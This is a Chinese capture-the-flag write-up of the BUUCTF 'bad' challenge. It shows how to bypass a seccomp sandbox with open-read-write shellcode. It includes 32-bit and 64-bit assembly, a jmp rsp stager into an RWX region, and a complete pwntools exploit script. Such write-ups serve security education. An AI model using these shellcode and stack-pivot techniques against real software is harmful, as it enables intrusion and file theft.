BUUCTF之Sandbox-bad

news/2024/10/19 2:17:53/文章来源:https://www.cnblogs.com/TFIRE/p/18472874

BUUCTF之Sandbox-bad

首先针对sandbox,我们需要有一个大概的认知,他是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程,通常我们采用orw的方式来获取flag.orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤

  1. 使用open函数打开flag
  2. 使用read函数将flag读到buf
  3. 使用write函数将buf中的值输出

简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码

fd = open(``"./flag"``, O_RDONLY);``read(fd, buf, 0x100)``write(1, buf, 0x100)

对于函数的限制,只要通过两种方式来实现,第一种是采用prctl函数调用,第二种是使用seccomp库函数。对于这类限制,我们可以使用seccomp-tools轻松发现他禁用的一些函数,由于他设置了这些黑名单,所以我们一下就可以发现这是一类sandbox的题型了。

32-bits

32-bits下的系统调用号

三个函数的系统调用编号

系统调用号 函数名 入口点
3 read sys_read
4 write sys_write
5 open sys_open

shellcode编写

32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi;eax用于存放系统调用号

;32-bit shellcode
; open flag file
mov eax, 5 
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h  //相当于64位的syscall
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret

64-bits

64-bits下的系统调用号

%rax System call %rdi %rsi %rdx %r10 %r8 %r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
3 sys_close unsigned int fd

shellcode编写

64位shellcode汇编代码和32位的思路一样,不同点在于64位系统调用向寄存器传递的参数不同,且64位shellcode建议使用syscall,而不使用int 80中断

64位系统调用汇编寄存器传递参数顺序:rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数,如果参数多于6个不会像用户态一样放到堆栈中,这个是内核接口调用约定和用户接口调用约定有区别

;64-bit shellcode
;open
mov rdi, filepath;
push rdi;
mov rax, 2;
mov rsi, 0;  //xor rsi,rsi;
mov rdx, 0; //同理
syscall;
; read
mov rdi 0x3;
mov rax, 0;
mov rsi, buf;buf可以修改成rsp,直接将flag读到栈中
mov rdx, 0x100;
syscall;
;write
mov rax, 1;
mov rdi, 1;
mov rsi, buf;
mov rdx, 0x100;
syscall;

这就是沙箱的大体流程了, 更加具体的我们下面用buu的bad这个题型作为示例


首先我们发现这题使用了seccomp对函数进行了限制,image

接着我们用seccomp-tools看一下函数的

image

然后再检查一下文件,发现什么保护机制都没有。

image

那么接下来的步骤就很明显了,通过read函数写入一个orw,但是很可惜,通过观察,我们发现这题的buf长度不支持我们写一个完整的orw,所以我们需要另外找一个地址来写入,

image

通过调试,我们发现一个可读写执行的地址0x123000,那么接下来我们要做的就是如何让rsp跳转到那里了,本来我想的是用栈迁移来解决,但是我发现本题还给了jump rsp,那么我们就可以用这个来做文章了

image

有了具体目标,我们就先可以把shellcode写下来了

shell='''mov rdi,0x67616c662f2e;   //0x67616c662f2e的意思是galf/. 在小序端的读取下就是./flagpush rdi;mov rax,2;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall;mov rax,0;mov rdi,0x3;mov rsi,0x123000;mov rdx,0x50;syscall;mov rax,1;mov rdi,1;mov rsi,0x123000;mov rdx,0x50;syscall;
'''

而在pwntools中,我们也可以使用shellcraft模板让其为我们编写汇编

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50)

所以之后我们需要做的就是如何让rsp跳转到0x12300这个位置了,而这就要用到我们的read函数了,我们通过read在0x12300上读取一百个字节大小的空间,然后让rsp跳转到0x12300的位置

shellcode='''xor rdi, rdimov rsi, 0x123000mov rdx, 0x100mov rax, 0syscallmov rax, 0x123000call rax'''payload=asm(shellcode)payload=payload.ljust(0x28,b'\x00')payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

相同的,在这里我们同样可以使用shellcraft

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

最后的rsp减去0x30的原因是为了让新rsp在运行了前面的代码后重新到0x12300这个位置,这样才正确的执行我构造orw的shellcode

最后附上我们完整的代码

from pwn import *context(arch = 'amd64',os = 'linux',log_level='debug')
#io=remote('node5.buuoj.cn',26885)
io=process('./bad')
addr=0x123000
jmp_rsp=0x400a01
mmap=0x123000shell='''mov rdi,0x67616c662f2e;push rdi;mov rax,2;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall;mov rax,0;mov rdi,0x3;mov rsi,0x123000;mov rdx,0x50;syscall;mov rax,1;mov rdi,1;mov rsi,0x123000;mov rdx,0x50;syscall;
'''
//orw_payload = shellcraft.open("./flag")
//orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
//orw_payload += shellcraft.write(1, mmap+0x100,0x50)
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
gdb.attach(io)
io.recvuntil("Easy shellcode, have fun!")
io.sendline(payload)
payload1=asm(shell)
io.sendline(payload1)
io.interactive()

image

如图,第一个方框就是orw的shellcode,第二个方框就是我们对mmap空间的开创,并且我们将ROP写到mmap提供的栈的内存上,之后利用jmp_rsp跳转到orw_shellcode的地方。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/816506.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

trufflehog敏感信息搜集 核心框架代码分析

前言:trufflehog敏感信息搜集 核心框架代码分析 调度图代码思考 目前有一个需求,想要实现golang代码实现生产者消费者的模型

面向城市运行“一网统管”的实景三维示范应用

在新型智慧城市建设的浪潮中,实景三维技术正成为推动城市治理现代化的重要力量。“一网统管”作为城市运行管理的新理念,强调了跨部门协作和数据共享,而实景三维技术为此提供了强有力的支撑。本文将探讨实景三维技术如何赋能“一网统管”,推动智慧城市时空基础设施建设。一…

微信小游戏分包

简介微信分包是针对unity转成小游戏的c#代码分包,小程序是js代码,安卓的c#解析成js功能比较好,一般不分包可以手机预览扫码进入游戏,但是苹果解析js功能不太好,需要分包,提升运行性能,苹果还需要开高性能模式。 如果分包后苹果仍然进不去,那么换一台苹果手机再试试。(…

Junit单元测试—Maven

JUnit 单元测试常用注解 测试顺序大概流程 //第一步: 创建测试类, 测试类的类名一般是: 被测试类类名 + Test public class MathUtilsTest {/*第二步: 为了保证每个方法独立, 为测试的每个方法单独创建测试方法测试方法要求(规格):(1) 不能有参数(2) 不能返回值(3) 方法名建议…

语法基础

标识符 标识符就是名字,函数名、变量名、类名、对象名、常量名等。 只能有字母、数字、下划线组成,不能以数字开头。尽量不要使用下划线开头。 不能使用C++关键字作为标识符。 大小写敏感。 标识符命名规范: 标识符要见名知意。 普通变量命名:类型缩写+单词(首字母大写)。…

无线串口模块—配置软件以及串口助手的使用

1、适用型号 本文适用于无线串口模块调试。 文中的软件界面截图,可能会由于软件系列、软件版本不同而略有区别。 2、使用参数设置软件RF_Setting 使用方法(以E32-433TBL-01型号lora模块开发测试套件说明) 说明:E32-433TBL-01是贴片串口模块结合USB转TTL串口底板形成的无线模…

C#线程6---并发集合

简介:编程需要对基本的数据结构和算法有所了解。程序员为并发情况选择最合适的数据结 构,那就需要知道很多事情,例如算法运行时间、空间复杂度,以及大写0标记法等。在不 同的广为人知的场景中,我们总知道哪种数据结构更高效。对于并行计算,我们需要使用适当的数据结构。这…

『模拟赛』多校A层冲刺NOIP2024模拟赛08

『模拟赛记录』多校A层冲刺NOIP2024模拟赛08Rank 还行A. 传送 (teleport) 签。 单元最短路,先想 Dijkstra。发现这道题还有个不同寻常的移动方式,可以以 \(min\left(|x_i-x_j|,|y_i-y_j|\right)\) 的代价从 \(i\) 移动到 \(j\)。暴力连边是 \(\mathcal{O(n^2)}\) 的,时间空间…

一、STM32F103C8T6--GPIO

STM32f103c8t6 32位Cortex-M3内核 RISC处理器,最高主频72MHZ,Flash:64KB,SRAM:20KB 片上外设: I/O端口:多达37个GPIO引脚(支持复用功能)。 GPIO 端口支持输入、输出、上拉/下拉功能。定时器:3 个 16 位通用定时器(支持 PWM 输出)。******** 1 个高级定时器(支持多通…

订阅

订阅权限配置类型 来源 备注订阅消息 微信后台开通 必需消息推送 微信后台开通 必需官方文档链接:https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/subscribe-message.html相关权限设置: 一:登录微信后台,选择开发管理,启用消息推送。二:选择订…

cornerstone中RAFT的buffer的实现

1.概览: 谈到raft协议实现就绕不开网上流行的mit6.824,但其为go语言,官方没有lab的答案,框架也很晦涩难懂,且全网没有一个博客对其有清晰的解释,有的只是甩一堆名词然后直接贴没有任何注释的代码,非常不适合学习。 但是github上面的cornerstone是纯c++实现的一个非常优雅…